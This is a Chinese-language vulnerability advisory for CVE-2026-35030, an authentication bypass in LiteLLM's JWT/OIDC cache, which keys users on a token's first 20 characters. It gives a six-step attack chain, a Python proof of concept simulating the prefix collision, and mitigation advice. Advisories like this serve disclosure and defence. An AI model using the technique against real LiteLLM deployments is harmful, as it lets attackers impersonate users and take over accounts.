IPBUF安全漏洞报告
English
CVE-2026-35030 CVSS 9.1 严重

CVE-2026-35030 LiteLLM认证绕过漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35030
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LiteLLM

相关标签

认证绕过LiteLLMCVE-2026-35030JWT缓存投毒

漏洞概述

LiteLLM 在 1.83.0 之前的版本中存在安全漏洞。当启用 JWT 认证时,OIDC 用户信息缓存仅使用令牌的前 20 个字符作为键。由于相同算法生成的 JWT 头部一致,攻击者可利用此特性,构造前缀相同的恶意令牌。当缓存命中时,攻击者无需合法密钥即可继承合法用户的身份和权限,造成严重的安全风险。

技术细节

该漏洞源于 LiteLLM 在处理 OIDC 用户信息缓存时的设计缺陷。系统错误地使用 JWT 令牌的前 20 个字符(即 Base64 编码的头部部分)作为 Redis 或内存缓存的键。标准 JWT 头部包含算法和类型字段,对于使用相同算法(如 HS256 或 RS256)的所有令牌,其头部经过 Base64 URL 编码后的前 20 个字符是完全固定的。攻击者无需获取合法用户的私钥或签名,只需生成一个使用相同算法的任意 JWT,其头部前缀即可与合法用户的令牌匹配。当攻击者发送此伪造令牌时,系统检查缓存发现键已存在,便直接返回缓存中合法用户的信息,导致认证被完全绕过。此漏洞默认未启用,仅影响开启了 enable_jwt_auth 的特定配置环境。

攻击链分析

STEP 1
信息收集
攻击者确认目标使用 LiteLLM,且开启了 JWT/OIDC 认证功能。
STEP 2
算法探测
攻击者通过分析公开的 JWT 样本或默认配置,确定服务器使用的签名算法(通常为 HS256)。
STEP 3
构造恶意令牌
攻击者使用相同的签名算法(无需私钥)生成一个新的 JWT 令牌。由于算法相同,该令牌的前 20 个字符与合法用户令牌完全一致。
STEP 4
发送请求
攻击者将伪造的令牌发送给 LiteLLM 服务端进行身份验证。
STEP 5
缓存命中
服务器检查 OIDC 缓存,发现该令牌前缀对应的缓存条目已存在,直接返回缓存中合法用户的身份信息。
STEP 6
权限获取
攻击者成功绕过认证,继承合法用户的权限,接管账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import time # Description: Proof of Concept for CVE-2026-35030 # The vulnerability relies on the cache key being the first 20 chars of the token. # JWT headers with the same algorithm produce the same prefix. # Target algorithm (Must match the victim's configuration, e.g., HS256) algorithm = "HS256" # 1. Victim's Token (Simulated) # Header: {"alg": "HS256", "typ": "JWT"} -> Base64: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 victim_payload = {"user_id": "admin_user", "role": "admin"} victim_token = jwt.encode(victim_payload, "real_secret_key", algorithm=algorithm) print(f"Victim Token Prefix: {victim_token[:20]}") # 2. Attacker's Token Construction # The attacker creates a new token with a fake secret and fake payload. # The critical part is using the SAME algorithm. attacker_payload = {"user_id": "hacker", "role": "admin"} # The signature doesn't matter because of the cache collision logic attacker_token = jwt.encode(attacker_payload, "fake_random_secret", algorithm=algorithm) print(f"Attacker Token Prefix: {attacker_token[:20]}") # 3. Verification if victim_token[:20] == attacker_token[:20]: print("\n[!] Cache Collision Detected!") print("[+] Sending attacker token to the server...") print("[+] Server checks cache for key: '" + victim_token[:20] + "'") print("[+] Cache Hit! Server returns victim's identity.") else: print("[-] No collision.")

影响范围

LiteLLM < 1.83.0

防御指南

临时缓解措施
如果暂时无法升级,建议立即禁用 JWT/OIDC 认证功能,并清除现有的用户缓存。同时,可以通过配置反向代理(如 Nginx)在应用层增加额外的验证逻辑,确保不仅检查令牌前缀,而是完整验证签名。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表